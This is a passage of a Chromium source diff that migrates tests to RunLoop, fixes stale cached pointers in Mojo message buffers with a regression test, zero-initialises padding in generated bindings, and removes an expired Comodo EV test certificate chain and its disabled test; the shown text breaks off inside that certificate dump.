+++ b/media/gpu/android_video_surface_chooser_impl.cc
@@ -111,9 +111,11 @@
     new_overlay_state = kUsingSurfaceTexture;
 
   // If we need a secure surface, then we must choose an overlay.  The only way
-  // we won't is if we don't have a factory.  If the compositor won't promote,
-  // we still use the overlay, since hopefully it's a temporary restriction.
-  // If we drop the overlay, then playback will fail.
+  // we won't is if we don't have a factory or our request fails.  If the
+  // compositor won't promote, then we still use the overlay, since hopefully
+  // it's a temporary restriction.  If we drop the overlay, then playback will
+  // fail (L1) or be insecure on SurfaceTexture (L3).  For L3, that's still
+  // preferable to failing.
   if (current_state_.is_secure)
     new_overlay_state = kUsingOverlay;
 
diff --git a/media/media_options.gni b/media/media_options.gni
index a382694a..c6b89c4 100644
--- a/media/media_options.gni
+++ b/media/media_options.gni
@@ -35,8 +35,8 @@
   # Override to dynamically link the cras (ChromeOS audio) library.
   use_cras = false
 
-  # Use low-memory buffers on non-Android builds of Chromecast.
-  use_low_memory_buffer = is_chromecast && !is_android
+  # Use low-memory buffers on cast builds.
+  use_low_memory_buffer = is_chromecast
 
   # Enables AC3/EAC3 audio demuxing. This is enabled only on Chromecast, since
   # it only provides demuxing, and is only useful for AC3/EAC3 audio
diff --git a/media/test/pipeline_integration_test_base.cc b/media/test/pipeline_integration_test_base.cc
index debd138..ea994304 100644
--- a/media/test/pipeline_integration_test_base.cc
+++ b/media/test/pipeline_integration_test_base.cc
@@ -7,6 +7,7 @@
 #include <utility>
 
 #include "base/bind.h"
+#include "base/callback.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
 #include "base/run_loop.h"
@@ -347,17 +348,19 @@
 }
 
 void PipelineIntegrationTestBase::QuitAfterCurrentTimeTask(
-    const base::TimeDelta& quit_time) {
+    base::TimeDelta quit_time,
+    base::OnceClosure quit_closure) {
   if (pipeline_->GetMediaTime() >= quit_time ||
       pipeline_status_ != PIPELINE_OK) {
-    message_loop_.QuitWhenIdle();
+    std::move(quit_closure).Run();
     return;
   }
 
   message_loop_.task_runner()->PostDelayedTask(
       FROM_HERE,
-      base::Bind(&PipelineIntegrationTestBase::QuitAfterCurrentTimeTask,
-                 base::Unretained(this), quit_time),
+      base::BindOnce(&PipelineIntegrationTestBase::QuitAfterCurrentTimeTask,
+                     base::Unretained(this), quit_time,
+                     std::move(quit_closure)),
       base::TimeDelta::FromMilliseconds(10));
 }
 
@@ -367,12 +370,14 @@
   DCHECK_GT(pipeline_->GetPlaybackRate(), 0);
   DCHECK(wait_time <= pipeline_->GetMediaDuration());
 
+  base::RunLoop run_loop;
   message_loop_.task_runner()->PostDelayedTask(
       FROM_HERE,
-      base::Bind(&PipelineIntegrationTestBase::QuitAfterCurrentTimeTask,
-                 base::Unretained(this), wait_time),
+      base::BindOnce(&PipelineIntegrationTestBase::QuitAfterCurrentTimeTask,
+                     base::Unretained(this), wait_time,
+                     run_loop.QuitWhenIdleClosure()),
       base::TimeDelta::FromMilliseconds(10));
-  base::RunLoop().Run();
+  run_loop.Run();
   return (pipeline_status_ == PIPELINE_OK);
 }
 
diff --git a/media/test/pipeline_integration_test_base.h b/media/test/pipeline_integration_test_base.h
index 44e6dbd..3c131b9 100644
--- a/media/test/pipeline_integration_test_base.h
+++ b/media/test/pipeline_integration_test_base.h
@@ -8,6 +8,7 @@
 #include <stdint.h>
 #include <memory>
 
+#include "base/callback_forward.h"
 #include "base/md5.h"
 #include "base/message_loop/message_loop.h"
 #include "base/test/scoped_task_scheduler.h"
@@ -198,7 +199,8 @@
 
   void DemuxerMediaTracksUpdatedCB(std::unique_ptr<MediaTracks> tracks);
 
-  void QuitAfterCurrentTimeTask(const base::TimeDelta& quit_time);
+  void QuitAfterCurrentTimeTask(base::TimeDelta quit_time,
+                                base::OnceClosure quit_closure);
 
   // Creates Demuxer and sets |demuxer_|.
   void CreateDemuxer(std::unique_ptr<DataSource> data_source);
diff --git a/mojo/edk/js/threading.cc b/mojo/edk/js/threading.cc
index db9f12d..47cb3c5 100644
--- a/mojo/edk/js/threading.cc
+++ b/mojo/edk/js/threading.cc
@@ -4,7 +4,7 @@
 
 #include "mojo/edk/js/threading.h"
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "gin/object_template_builder.h"
 #include "gin/per_isolate_data.h"
 #include "mojo/edk/js/handle.h"
@@ -16,7 +16,7 @@
 namespace {
 
 void Quit() {
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 gin::WrapperInfo g_wrapper_info = { gin::kEmbedderNativeGin };
diff --git a/mojo/edk/system/channel.cc b/mojo/edk/system/channel.cc
index f34105b4..a65753af 100644
--- a/mojo/edk/system/channel.cc
+++ b/mojo/edk/system/channel.cc
@@ -15,6 +15,7 @@
 #include "base/memory/aligned_memory.h"
 #include "base/numerics/safe_math.h"
 #include "base/process/process_handle.h"
+#include "build/build_config.h"
 #include "mojo/edk/embedder/embedder_internal.h"
 #include "mojo/edk/embedder/platform_handle.h"
 #include "mojo/edk/system/configuration.h"
@@ -269,6 +270,17 @@
     base::AlignedFree(data_);
     data_ = static_cast<char*>(new_data);
     capacity_ = new_capacity;
+
+    if (max_handles_ > 0) {
+// We also need to update the cached extra header addresses in case the
+// payload buffer has been relocated.
+#if defined(OS_WIN)
+      handles_ = reinterpret_cast<HandleEntry*>(mutable_extra_header());
+#elif defined(OS_MACOSX) && !defined(OS_IOS)
+      mach_ports_header_ =
+          reinterpret_cast<MachPortsExtraHeader*>(mutable_extra_header());
+#endif
+    }
   }
   size_ = header_size + new_payload_size;
   DCHECK(base::IsValueInRangeForNumericType<uint32_t>(size_));
diff --git a/mojo/edk/system/message_unittest.cc b/mojo/edk/system/message_unittest.cc
index ce4e79d..1998662 100644
--- a/mojo/edk/system/message_unittest.cc
+++ b/mojo/edk/system/message_unittest.cc
@@ -10,8 +10,12 @@
 #include "base/memory/ptr_util.h"
 #include "base/numerics/safe_math.h"
 #include "base/rand_util.h"
+#include "build/build_config.h"
+#include "mojo/edk/embedder/platform_channel_pair.h"
 #include "mojo/edk/test/mojo_test_base.h"
+#include "mojo/public/cpp/system/buffer.h"
 #include "mojo/public/cpp/system/message_pipe.h"
+#include "mojo/public/cpp/system/platform_handle.h"
 
 namespace mojo {
 namespace edk {
@@ -734,6 +738,61 @@
   EXPECT_EQ(MOJO_RESULT_OK, MojoDestroyMessage(message));
 }
 
+#if !defined(OS_IOS)
+
+TEST_F(MessageTest, ExtendPayloadWithHandlesAttached) {
+  // Regression test for https://crbug.com/748996. Verifies that internal
+  // message objects do not retain invalid payload pointers across buffer
+  // relocations.
+
+  MojoHandle handles[5];
+  CreateMessagePipe(&handles[0], &handles[1]);
+  PlatformChannelPair channel;
+  handles[2] = WrapPlatformFile(channel.PassServerHandle().release().handle)
+                   .release()
+                   .value();
+  handles[3] = WrapPlatformFile(channel.PassClientHandle().release().handle)
+                   .release()
+                   .value();
+  handles[4] = SharedBufferHandle::Create(64).release().value();
+
+  MojoMessageHandle message;
+  void* buffer = nullptr;
+  uint32_t buffer_size = 0;
+  EXPECT_EQ(MOJO_RESULT_OK, MojoCreateMessage(&message));
+  EXPECT_EQ(MOJO_RESULT_OK, MojoAttachSerializedMessageBuffer(
+                                message, 0, handles, 5, &buffer, &buffer_size));
+
+  // Force buffer reallocation by extending the payload beyond the original
+  // buffer size. This should typically result in a relocation of the buffer as
+  // well -- at least often enough that breakage will be caught by automated
+  // tests.
+  uint32_t new_buffer_size = 0;
+  uint32_t payload_size = buffer_size * 64;
+  EXPECT_EQ(MOJO_RESULT_OK,
+            MojoExtendSerializedMessagePayload(message, payload_size, &buffer,
+                                               &new_buffer_size));
+  memset(buffer, 'x', buffer_size);
+
+  RunTestClient("ReadAndIgnoreMessage", [&](MojoHandle h) {
+    // Send the message out of process to exercise the regression path where
+    // internally cached, stale payload pointers may be dereferenced and written
+    // into.
+    EXPECT_EQ(MOJO_RESULT_OK,
+              MojoWriteMessage(h, message, MOJO_WRITE_MESSAGE_FLAG_NONE));
+  });
+}
+
+DEFINE_TEST_CLIENT_TEST_WITH_PIPE(ReadAndIgnoreMessage, MessageTest, h) {
+  MojoTestBase::WaitForSignals(h, MOJO_HANDLE_SIGNAL_READABLE);
+
+  MojoHandle handles[5];
+  MojoTestBase::ReadMessageWithHandles(h, handles, 5);
+  for (size_t i = 0; i < 5; ++i)
+    EXPECT_EQ(MOJO_RESULT_OK, MojoClose(handles[i]));
+}
+#endif  // !defined(OS_IOS)
+
 }  // namespace
 }  // namespace edk
 }  // namespace mojo
diff --git a/mojo/public/cpp/bindings/lib/message.cc b/mojo/public/cpp/bindings/lib/message.cc
index 9dbebed..14827e5 100644
--- a/mojo/public/cpp/bindings/lib/message.cc
+++ b/mojo/public/cpp/bindings/lib/message.cc
@@ -39,6 +39,7 @@
 void AllocateHeaderFromBuffer(internal::Buffer* buffer, HeaderType** header) {
   *header = buffer->AllocateAndGet<HeaderType>();
   (*header)->num_bytes = sizeof(HeaderType);
+  (*header)->padding = 0;
 }
 
 void WriteMessageHeader(uint32_t name,
diff --git a/mojo/public/tools/bindings/generators/cpp_templates/struct_declaration.tmpl b/mojo/public/tools/bindings/generators/cpp_templates/struct_declaration.tmpl
index 46563c3..e3052ab 100644
--- a/mojo/public/tools/bindings/generators/cpp_templates/struct_declaration.tmpl
+++ b/mojo/public/tools/bindings/generators/cpp_templates/struct_declaration.tmpl
@@ -42,7 +42,7 @@
 {%-     set next_pf = struct.packed.packed_fields[loop.index0 + 1] %}
 {%-     set pad = next_pf.offset - (packed_field.offset + packed_field.size) %}
 {%-     if pad > 0 %}
-  uint8_t pad{{loop.index0}}_[{{pad}}];
+  uint8_t pad{{loop.index0}}_[{{pad}}] = {};
 {%-     endif %}
 {%-   endif %}
 {%- endfor %}
@@ -53,7 +53,7 @@
 {%-   set offset = last_field.offset + last_field.size %}
 {%-   set pad = offset|get_pad(8) %}
 {%-   if pad > 0 %}
-  uint8_t padfinal_[{{pad}}];
+  uint8_t padfinal_[{{pad}}] = {};
 {%-   endif %}
 {%- endif %}
 
diff --git a/mojo/public/tools/bindings/generators/cpp_templates/union_declaration.tmpl b/mojo/public/tools/bindings/generators/cpp_templates/union_declaration.tmpl
index c62ce2b..3a9e49c6 100644
--- a/mojo/public/tools/bindings/generators/cpp_templates/union_declaration.tmpl
+++ b/mojo/public/tools/bindings/generators/cpp_templates/union_declaration.tmpl
@@ -65,6 +65,8 @@
   // "Each non-static data member is allocated as if it were the sole member of
   // a struct." - Section 9.5.2 ISO/IEC 14882:2011 (The C++ Spec)
   union MOJO_ALIGNAS(8) Union_ {
+    Union_() : unknown(0) {}
+
 {%- for field in union.fields %}
 {%-   if field.kind.spec == 'b' %}
     uint8_t f_{{field.name}} : 1;
diff --git a/net/BUILD.gn b/net/BUILD.gn
index b42b3b0..c7182f7 100644
--- a/net/BUILD.gn
+++ b/net/BUILD.gn
@@ -2332,7 +2332,6 @@
     "data/ssl/certificates/client_6.pk8",
     "data/ssl/certificates/client_6_ca.pem",
     "data/ssl/certificates/client_root_ca.pem",
-    "data/ssl/certificates/comodo.chain.pem",
     "data/ssl/certificates/crit-codeSigning-chain.pem",
     "data/ssl/certificates/crlset_by_intermediate_serial.raw",
     "data/ssl/certificates/crlset_by_leaf_spki.raw",
diff --git a/net/android/network_change_notifier_android_unittest.cc b/net/android/network_change_notifier_android_unittest.cc
index 3069e6b..127c405 100644
--- a/net/android/network_change_notifier_android_unittest.cc
+++ b/net/android/network_change_notifier_android_unittest.cc
@@ -7,7 +7,6 @@
 #include "base/bind.h"
 #include "base/callback.h"
 #include "base/compiler_specific.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "net/android/network_change_notifier_android.h"
 #include "net/android/network_change_notifier_delegate_android.h"
@@ -113,7 +112,7 @@
 
   void OnInitialDNSConfigRead() override {
     initial_notifications_count_++;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   int change_notifications_count() const { return change_notifications_count_; }
diff --git a/net/base/file_stream_unittest.cc b/net/base/file_stream_unittest.cc
index 8b2e43c..4281f9a6 100644
--- a/net/base/file_stream_unittest.cc
+++ b/net/base/file_stream_unittest.cc
@@ -568,7 +568,7 @@
     result_ = *total_bytes_written_;
     have_result_ = true;
     if (waiting_for_result_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   int result_;
@@ -677,7 +677,7 @@
     result_ = *total_bytes_written_;
     have_result_ = true;
     if (waiting_for_result_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   int result_;
diff --git a/net/base/network_change_notifier_win_unittest.cc b/net/base/network_change_notifier_win_unittest.cc
index 96cf416b..a0390d8 100644
--- a/net/base/network_change_notifier_win_unittest.cc
+++ b/net/base/network_change_notifier_win_unittest.cc
@@ -72,7 +72,7 @@
 };
 
 bool ExitMessageLoopAndReturnFalse() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
   return false;
 }
 
@@ -176,14 +176,15 @@
     EXPECT_FALSE(network_change_notifier_.is_watching());
     EXPECT_LT(0, network_change_notifier_.sequential_failures());
 
+    base::RunLoop run_loop;
+
     EXPECT_CALL(test_ip_address_observer_, OnIPAddressChanged())
         .Times(1)
-        .WillOnce(Invoke(base::MessageLoop::current(),
-                         &base::MessageLoop::QuitWhenIdle));
+        .WillOnce(Invoke(&run_loop, &base::RunLoop::QuitWhenIdle));
     EXPECT_CALL(network_change_notifier_, WatchForAddressChangeInternal())
         .Times(1).WillOnce(Return(true));
 
-    base::RunLoop().Run();
+    run_loop.Run();
 
     EXPECT_TRUE(network_change_notifier_.is_watching());
     EXPECT_EQ(0, network_change_notifier_.sequential_failures());
diff --git a/net/cert/cert_verify_proc_unittest.cc b/net/cert/cert_verify_proc_unittest.cc
index e912a2ac..6c46c81 100644
--- a/net/cert/cert_verify_proc_unittest.cc
+++ b/net/cert/cert_verify_proc_unittest.cc
@@ -303,29 +303,6 @@
                         testing::ValuesIn(kAllCertVerifiers),
                         VerifyProcTypeToName);
 
-// TODO(rsleevi): Reenable this test once comodo.chaim.pem is no longer
-// expired, http://crbug.com/502818
-TEST_P(CertVerifyProcInternalTest, DISABLED_EVVerification) {
-  if (!SupportsEV()) {
-    LOG(INFO) << "Skipping test as EV verification is not yet supported";
-    return;
-  }
-
-  scoped_refptr<X509Certificate> comodo_chain = CreateCertificateChainFromFile(
-      GetTestCertsDirectory(), "comodo.chain.pem",
-      X509Certificate::FORMAT_PEM_CERT_SEQUENCE);
-  ASSERT_TRUE(comodo_chain);
-  ASSERT_EQ(2U, comodo_chain->GetIntermediateCertificates().size());
-
-  scoped_refptr<CRLSet> crl_set(CRLSet::ForTesting(false, NULL, ""));
-  CertVerifyResult verify_result;
-  int flags = CertVerifier::VERIFY_EV_CERT;
-  int error = Verify(comodo_chain.get(), "comodo.com", flags, crl_set.get(),
-                     CertificateList(), &verify_result);
-  EXPECT_THAT(error, IsOk());
-  EXPECT_TRUE(verify_result.cert_status & CERT_STATUS_IS_EV);
-}
-
 // Tests that a certificate is recognized as EV, when the valid EV policy OID
 // for the trust anchor is the second candidate EV oid in the target
 // certificate. This is a regression test for crbug.com/705285.
diff --git a/net/data/ssl/certificates/README b/net/data/ssl/certificates/README
index 512e38e..338602b 100644
--- a/net/data/ssl/certificates/README
+++ b/net/data/ssl/certificates/README
@@ -54,11 +54,8 @@
      All files are from the src/test/testdada directory in
      https://code.google.com/p/certificate-transparency/
 
-- comodo.chain.pem : A certificate chain for www.comodo.com which should be
-     recognised as EV. Expires Jun 20 2015.
-
 - twitter-chain.pem : A certificate chain for twitter.com which should be
-     valid. Expires May 9 2016.
+     valid albeit expired.
 
 - tripadvisor-verisign-chain.pem: A certificate chain for www.tripadvisor.com
   issued by VeriSign Class 3 Public Primary Certification Authority - G5.
diff --git a/net/data/ssl/certificates/comodo.chain.pem b/net/data/ssl/certificates/comodo.chain.pem
deleted file mode 100644
index 88699ac..0000000
--- a/net/data/ssl/certificates/comodo.chain.pem
+++ /dev/null
@@ -1,317 +0,0 @@
-Certificate:
-    Data:
-        Version: 3 (0x2)
-        Serial Number:
-            f7:8b:13:b9:46:fc:96:35:d8:ab:49:de:9d:21:48:21
-    Signature Algorithm: sha1WithRSAEncryption
-        Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO Extended Validation Secure Server CA
-        Validity
-            Not Before: May 29 00:00:00 2013 GMT
-            Not After : Jun 20 23:59:59 2015 GMT
-        Subject: serialNumber=-na/1.3.6.1.4.1.311.60.2.1.3=GB/businessCategory=Private Organization, C=GB/postalCode=M5 3EQ, ST=Greater Manchester, L=Salford,/street=Exchange Quay,  Trafford Road/street=26 Office Village,/street=3rd Floor,, O=Comodo CA Ltd, OU=Comodo EV SGC SSL, OU=COMODO EV SGC SSL, CN=www.comodo.com
-        Subject Public Key Info:
-            Public Key Algorithm: rsaEncryption
-                Public-Key: (2048 bit)
-                Modulus:
-                    00:a7:ad:ff:5f:d0:7d:1d:97:78:f7:da:f8:77:da:
-                    86:d2:11:ec:83:b1:4b:fd:8d:75:f2:44:9c:18:db:
-                    d5:fa:ca:3e:17:8c:a3:23:36:e9:03:7d:04:6f:2f:
-                    e2:c0:f8:74:23:b6:f6:47:a5:b0:91:b4:78:49:64:
-                    91:10:71:19:63:4c:9d:19:90:1d:1e:b8:92:cf:93:
-                    9f:5f:f6:53:db:68:b5:07:29:a2:82:92:3a:cd:c0:
-                    a4:02:2a:87:c3:38:36:e5:86:6d:e6:d7:bd:73:97:
-                    64:b8:a7:1e:9d:a0:58:11:42:73:5e:7e:1e:5e:96:
-                    a2:0d:1b:b9:56:56:bd:2a:ce:52:b7:b2:a2:e8:1b:
-                    d7:75:f7:32:80:58:b4:04:96:ae:b7:be:f5:b5:7b:
-                    df:46:94:28:f1:36:80:d1:f2:78:65:55:d8:6d:fa:
-                    8b:f6:1d:69:5a:a3:ba:40:41:f2:17:a0:5c:9b:81:
-                    6a:56:e4:02:7f:0c:63:40:8c:b2:26:d8:16:f3:55:
-                    f8:a1:00:db:71:60:95:b3:7d:f6:b1:1c:a9:1d:76:
-                    90:41:72:1e:11:2a:83:16:98:e0:a3:61:69:a8:39:
-                    4a:a7:1e:14:de:b4:07:9f:59:53:e3:6f:88:61:2b:
-                    1d:22:c4:92:bf:ba:65:23:ee:e8:76:f3:32:40:b0:
-                    f0:c7
-                Exponent: 65537 (0x10001)
-        X509v3 extensions:
-            X509v3 Authority Key Identifier: 
-                keyid:88:44:51:FF:50:2A:69:5E:2D:88:F4:21:BA:D9:0C:F2:CE:CB:EA:7C
-
-            X509v3 Subject Key Identifier: 
-                B2:E0:EB:4A:E7:C6:1C:27:0A:54:4F:C4:00:AA:E1:6A:2C:14:91:C3
-            X509v3 Key Usage: critical
-                Digital Signature, Key Encipherment
-            X509v3 Basic Constraints: critical
-                CA:FALSE
-            X509v3 Extended Key Usage: 
-                TLS Web Server Authentication, TLS Web Client Authentication, Microsoft Server Gated Crypto, Netscape Server Gated Crypto
-            X509v3 Certificate Policies: 
-                Policy: 1.3.6.1.4.1.6449.1.2.1.5.1
-                  CPS: https://secure.comodo.com/CPS
-
-            X509v3 CRL Distribution Points: 
-
-                Full Name:
-                  URI:http://crl.comodoca.com/COMODOExtendedValidationSecureServerCA.crl
-
-            Authority Information Access: 
-                CA Issuers - URI:http://crt.comodoca.com/COMODOExtendedValidationSecureServerCA.crt
-                OCSP - URI:http://ocsp.comodoca.com
-
-            X509v3 Subject Alternative Name: 
-                DNS:www.comodo.com, DNS:comodo.com
-    Signature Algorithm: sha1WithRSAEncryption
-         a4:c4:55:e9:b6:8f:09:b4:34:ea:22:6c:32:71:97:fb:c4:93:
-         ce:d3:f3:28:f0:16:f6:3f:6e:6f:ff:3f:03:f6:d4:51:d5:a5:
-         1a:4f:b1:91:e4:49:7e:e1:d0:5b:30:1c:e9:3b:36:5e:48:97:
-         1a:5c:f5:2f:3a:b3:51:cb:b7:db:fa:f2:a2:e7:45:ab:1a:23:
-         70:ce:15:8e:9c:2c:6e:21:c9:03:ad:94:92:f3:20:d3:dd:43:
-         13:91:58:20:b9:a1:e1:83:86:bd:e8:46:e3:74:2a:c8:26:c2:
-         3a:16:98:cd:d4:b1:82:75:4f:3e:02:87:56:5f:af:5e:b4:e1:
-         2d:05:c2:f0:2b:bc:5a:1f:dc:3c:05:03:0a:c5:29:b5:1d:94:
-         69:dd:af:d5:46:c3:69:bc:b8:1c:40:08:39:8f:76:29:5d:a2:
-         4b:fa:1f:2f:68:a3:88:64:80:e8:7a:1d:74:2e:29:02:e2:57:
-         94:57:dd:c8:1d:03:67:46:84:c1:2a:be:ef:05:f7:47:da:02:
-         01:1e:10:f2:14:02:7f:66:d2:a9:a6:e4:28:59:fd:fc:ea:25:
-         f5:7f:eb:f6:7a:4e:ed:74:66:54:62:db:db:30:9b:cd:c4:c6:
-         74:89:69:13:ed:32:8d:92:c7:a2:48:e4:2b:42:89:1f:31:6e:
-         f3:44:9f:f8
------BEGIN CERTIFICATE-----
-MIIGVDCCBTygAwIBAgIRAPeLE7lG/JY12KtJ3p0hSCEwDQYJKoZIhvcNAQEFBQAw
-gY4xCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO
-BgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTQwMgYD
-VQQDEytDT01PRE8gRXh0ZW5kZWQgVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENB
-MB4XDTEzMDUyOTAwMDAwMFoXDTE1MDYyMDIzNTk1OVowggFTMQwwCgYDVQQFEwMt
-bmExEzARBgsrBgEEAYI3PAIBAxMCR0IxHTAbBgNVBA8TFFByaXZhdGUgT3JnYW5p
-emF0aW9uMQswCQYDVQQGEwJHQjEPMA0GA1UEERMGTTUgM0VRMRswGQYDVQQIExJH
-cmVhdGVyIE1hbmNoZXN0ZXIxETAPBgNVBAcTCFNhbGZvcmQsMSYwJAYDVQQJEx1F
-eGNoYW5nZSBRdWF5LCAgVHJhZmZvcmQgUm9hZDEbMBkGA1UECRMSMjYgT2ZmaWNl
-IFZpbGxhZ2UsMRMwEQYDVQQJEwozcmQgRmxvb3IsMRYwFAYDVQQKEw1Db21vZG8g
-Q0EgTHRkMRowGAYDVQQLExFDb21vZG8gRVYgU0dDIFNTTDEaMBgGA1UECxMRQ09N
-T0RPIEVWIFNHQyBTU0wxFzAVBgNVBAMTDnd3dy5jb21vZG8uY29tMIIBIjANBgkq
-hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp63/X9B9HZd499r4d9qG0hHsg7FL/Y11
-8kScGNvV+so+F4yjIzbpA30Eby/iwPh0I7b2R6WwkbR4SWSREHEZY0ydGZAdHriS
-z5OfX/ZT22i1BymigpI6zcCkAiqHwzg25YZt5te9c5dkuKcenaBYEUJzXn4eXpai
-DRu5Vla9Ks5St7Ki6BvXdfcygFi0BJaut771tXvfRpQo8TaA0fJ4ZVXYbfqL9h1p
-WqO6QEHyF6Bcm4FqVuQCfwxjQIyyJtgW81X4oQDbcWCVs332sRypHXaQQXIeESqD
-Fpjgo2FpqDlKpx4U3rQHn1lT42+IYSsdIsSSv7plI+7odvMyQLDwxwIDAQABo4IB
-4zCCAd8wHwYDVR0jBBgwFoAUiERR/1AqaV4tiPQhutkM8s7L6nwwHQYDVR0OBBYE
-FLLg60rnxhwnClRPxACq4WosFJHDMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8E
-AjAAMDQGA1UdJQQtMCsGCCsGAQUFBwMBBggrBgEFBQcDAgYKKwYBBAGCNwoDAwYJ
-YIZIAYb4QgQBMEYGA1UdIAQ/MD0wOwYMKwYBBAGyMQECAQUBMCswKQYIKwYBBQUH
-AgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMFMGA1UdHwRMMEowSKBG
-oESGQmh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET0V4dGVuZGVkVmFsaWRh
-dGlvblNlY3VyZVNlcnZlckNBLmNybDCBhAYIKwYBBQUHAQEEeDB2ME4GCCsGAQUF
-BzAChkJodHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9FeHRlbmRlZFZhbGlk
-YXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3Nw
-LmNvbW9kb2NhLmNvbTAlBgNVHREEHjAcgg53d3cuY29tb2RvLmNvbYIKY29tb2Rv
-LmNvbTANBgkqhkiG9w0BAQUFAAOCAQEApMRV6baPCbQ06iJsMnGX+8STztPzKPAW
-9j9ub/8/A/bUUdWlGk+xkeRJfuHQWzAc6Ts2XkiXGlz1LzqzUcu32/ryoudFqxoj
-cM4VjpwsbiHJA62UkvMg091DE5FYILmh4YOGvehG43QqyCbCOhaYzdSxgnVPPgKH
-Vl+vXrThLQXC8Cu8Wh/cPAUDCsUptR2Uad2v1UbDaby4HEAIOY92KV2iS/ofL2ij
-iGSA6HoddC4pAuJXlFfdyB0DZ0aEwSq+7wX3R9oCAR4Q8hQCf2bSqabkKFn9/Ool
-9X/r9npO7XRmVGLb2zCbzcTGdIlpE+0yjZLHokjkK0KJHzFu80Sf+A==
------END CERTIFICATE-----
-Certificate:
-    Data:
-        Version: 3 (0x2)
-        Serial Number:
-            11:a3:b4:d0:ec:8d:b7:7f:9d:a0:cd:5d:2d:51:2f:42
-    Signature Algorithm: sha1WithRSAEncryption
-        Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO Certification Authority
-        Validity
-            Not Before: May 24 00:00:00 2010 GMT
-            Not After : May 30 10:48:38 2020 GMT
-        Subject: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO Extended Validation Secure Server CA
-        Subject Public Key Info:
-            Public Key Algorithm: rsaEncryption
-                Public-Key: (2048 bit)
-                Modulus:
-                    00:cc:4a:96:33:cd:25:8d:67:ee:28:96:37:87:46:
-                    f0:f6:04:a2:84:7f:53:aa:96:e6:1f:b1:02:1c:6e:
-                    ed:7d:21:d4:d7:3c:1e:a2:d8:69:2f:a8:b7:f5:a2:
-                    ed:64:58:64:e1:44:65:36:49:41:20:01:8d:3b:13:
-                    e2:08:f3:0c:f2:57:39:93:37:b7:1c:93:44:83:8e:
-                    bf:2d:f1:a1:05:75:da:6e:ee:7b:6f:1b:ea:76:83:
-                    28:74:4a:1c:2b:d3:f5:c4:03:72:93:af:86:ce:09:
-                    8c:3c:75:d4:c9:0a:2f:72:f3:ad:bd:0e:30:3c:84:
-                    a1:73:1f:03:25:14:a5:8f:c3:d6:f4:b5:e4:dd:86:
-                    7a:f5:19:ba:68:f2:85:54:a2:30:11:ca:d1:92:cb:
-                    3b:74:06:12:a0:37:ab:6a:d8:54:11:df:6c:9a:16:
-                    94:b9:b4:a7:65:c6:74:2d:31:f3:4d:52:e9:55:51:
-                    9f:cb:3e:a2:8d:76:98:70:d2:6f:a6:65:45:2f:1b:
-                    85:bb:5b:6d:f9:f2:c0:04:66:13:84:7a:9d:ce:27:
-                    d8:f4:44:9e:bf:ac:be:99:db:6b:4f:db:58:21:b0:
-                    89:27:b4:8f:32:d6:4b:5e:72:91:5e:df:05:9d:d9:
-                    49:2f:f4:b6:6f:50:1f:75:cb:80:9d:e6:d3:e4:d1:
-                    f2:d3
-                Exponent: 65537 (0x10001)
-        X509v3 extensions:
-            X509v3 Authority Key Identifier: 
-                keyid:0B:58:E5:8B:C6:4C:15:37:A4:40:A9:30:A9:21:BE:47:36:5A:56:FF
-
-            X509v3 Subject Key Identifier: 
-                88:44:51:FF:50:2A:69:5E:2D:88:F4:21:BA:D9:0C:F2:CE:CB:EA:7C
-            X509v3 Key Usage: critical
-                Certificate Sign, CRL Sign
-            X509v3 Basic Constraints: critical
-                CA:TRUE, pathlen:0
-            X509v3 Certificate Policies: 
-                Policy: X509v3 Any Policy
-                  CPS: https://secure.comodo.com/CPS
-
-            X509v3 CRL Distribution Points: 
-
-                Full Name:
-                  URI:http://crl.comodoca.com/COMODOCertificationAuthority.crl
-
-            Authority Information Access: 
-                CA Issuers - URI:http://crt.comodoca.com/COMODOAddTrustServerCA.crt
-                OCSP - URI:http://ocsp.comodoca.com
-
-    Signature Algorithm: sha1WithRSAEncryption
-         9a:43:bf:af:a4:72:5e:cd:7d:6f:7f:f4:fc:3d:8c:bb:70:e6:
-         1e:dd:04:fd:3f:dc:9d:9f:bf:89:76:9b:f2:86:31:fc:7f:b3:
-         ed:2a:91:53:2c:e2:aa:b0:e3:c8:2c:71:f7:15:8a:23:1c:f1:
-         69:2e:81:fb:b1:bc:62:0b:ab:1a:54:1c:d9:22:5e:34:4c:a5:
-         f6:23:0f:5d:7a:3d:db:43:cd:69:7e:17:37:52:cd:53:a1:c2:
-         11:d4:53:78:27:64:d5:89:41:4d:16:55:bb:90:cb:f0:d8:e4:
-         dd:dd:d3:09:64:48:28:ff:32:23:84:2f:8c:7b:55:2f:cf:29:
-         88:37:34:78:0f:33:aa:ff:b7:f2:96:a4:9b:44:80:b5:be:6c:
-         56:54:ab:a4:81:9e:25:18:28:54:3a:7f:2c:63:cf:59:20:8c:
-         18:6b:38:2c:b4:dd:ed:e3:40:de:0c:36:25:57:9a:c0:d1:60:
-         9e:5e:03:68:97:ae:1a:3b:ea:45:d7:51:99:49:ee:44:59:56:
